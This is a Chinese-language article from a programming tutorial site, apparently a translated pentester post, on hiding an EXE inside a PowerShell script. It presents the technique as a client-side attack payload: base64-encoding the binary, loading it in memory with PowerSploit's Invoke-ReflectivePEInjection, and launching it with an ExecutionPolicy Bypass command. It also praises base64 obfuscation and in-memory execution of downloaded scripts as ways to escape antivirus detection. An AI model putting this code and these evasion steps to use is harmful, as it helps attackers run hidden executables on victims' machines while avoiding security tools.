當前位置:編程學習大全網 - 源碼下載 - 如何在PowerShell腳本中嵌入EXE文件

如何在PowerShell腳本中嵌入EXE文件

我在嘗試解決壹個問題,即在客戶端攻擊中只使用純 PowerShell 腳本作為攻擊負荷。使用 PowerShell 運行惡意代碼具有很多優點,包括:

1.無需在目標上安裝其他任何東西。

2.強大的引擎(例如可以直接調用 .NET 代碼)。

3.可以使用 base64 編碼命令來混淆惡意命令,使惡意命令變的不容易被發現。這同樣也是壹種可以避免使用特殊字符的方法,尤其是在壹個涉及多個步驟需要分離不同攻擊負荷的高級攻擊中。

4.可以使用Invoke-Expression將字符串解釋為 Powershell

命令。從滲透測試的角度看,這可以避免在目標磁盤上編寫復雜的腳本。例如:妳可以使用 Powershell 下載額外的復雜腳本,然後通過調用

Invoke-Expression 解釋並執行下載到內存中的腳本。這個過程同樣可以躲避殺毒軟件的查殺。

我們想在目標上運行壹些相當復雜的功能,這些功能常是 EXE 文件的壹部分。我不想直接在目標上放置壹個二進制文件,因為這樣可能會觸發反病毒機制。所以我想將其放入 Powershell 腳本中,不過我也不想重寫整個 Powershell 腳本。

最終我想到壹個辦法。

將二進制文件嵌入到 Powershell 腳本中,並直接通過腳本運行而不用將其寫入到磁盤裏。

下面演示解決步驟:

1.將二進制文件進行 base64 編碼

可以使用以下函數:

function Convert-BinaryToString {

[CmdletBinding()] param (

[string] $FilePath

)

try {

$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);

}

catch {

throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";

}

if ($ByteArray) {

$Base64String = [System.Convert]::ToBase64String($ByteArray);

}

else {

throw '$ByteArray is $null.';

}

Write-Output -InputObject $Base64String;

}

2. 按如下過程創建壹個新的腳本

1.用上壹步的方法將 EXE 文件轉為字符串;

2.準備 Invoke-ReflectivePEInjection(Powersploit project 的壹部分);

3.將字符串轉為字節數組;

4.調用 Invoke-ReflectivePEInjection。

所以,二進制文件只是 Powershell 腳本中的壹段字符串,在將字符串解碼為二進制數組後,就可以調用 Invoke-ReflectivePEInjection 直接在內存中運行。

最後看起來像這樣:

# base64 編碼的二進制文件

$InputString = '...........'

function Invoke-ReflectivePEInjection

{

......

......

......

}

# 將二進制字符串轉為字節數組

$PEBytes = [System.Convert]::FromBase64String($InputString)

# 在內存中運行 EXE

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

現在就可以在目標上運行腳本了:

powershell -ExecutionPolicy Bypass -File payload.ps1

根據嵌入的不同二進制文件,可能會出現以下錯誤:

PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)

解決這個問題只需要運行 32 位的 PowerShell 即可。

下面是我將 plink.exe 嵌入 payload.ps1 的例子:

  • 上一篇:天下足球的主題曲是什麽?
  • 下一篇:問壹下,口袋妖怪珍珠在電腦裏怎麽做GBA聯動?
  • copyright 2024編程學習大全網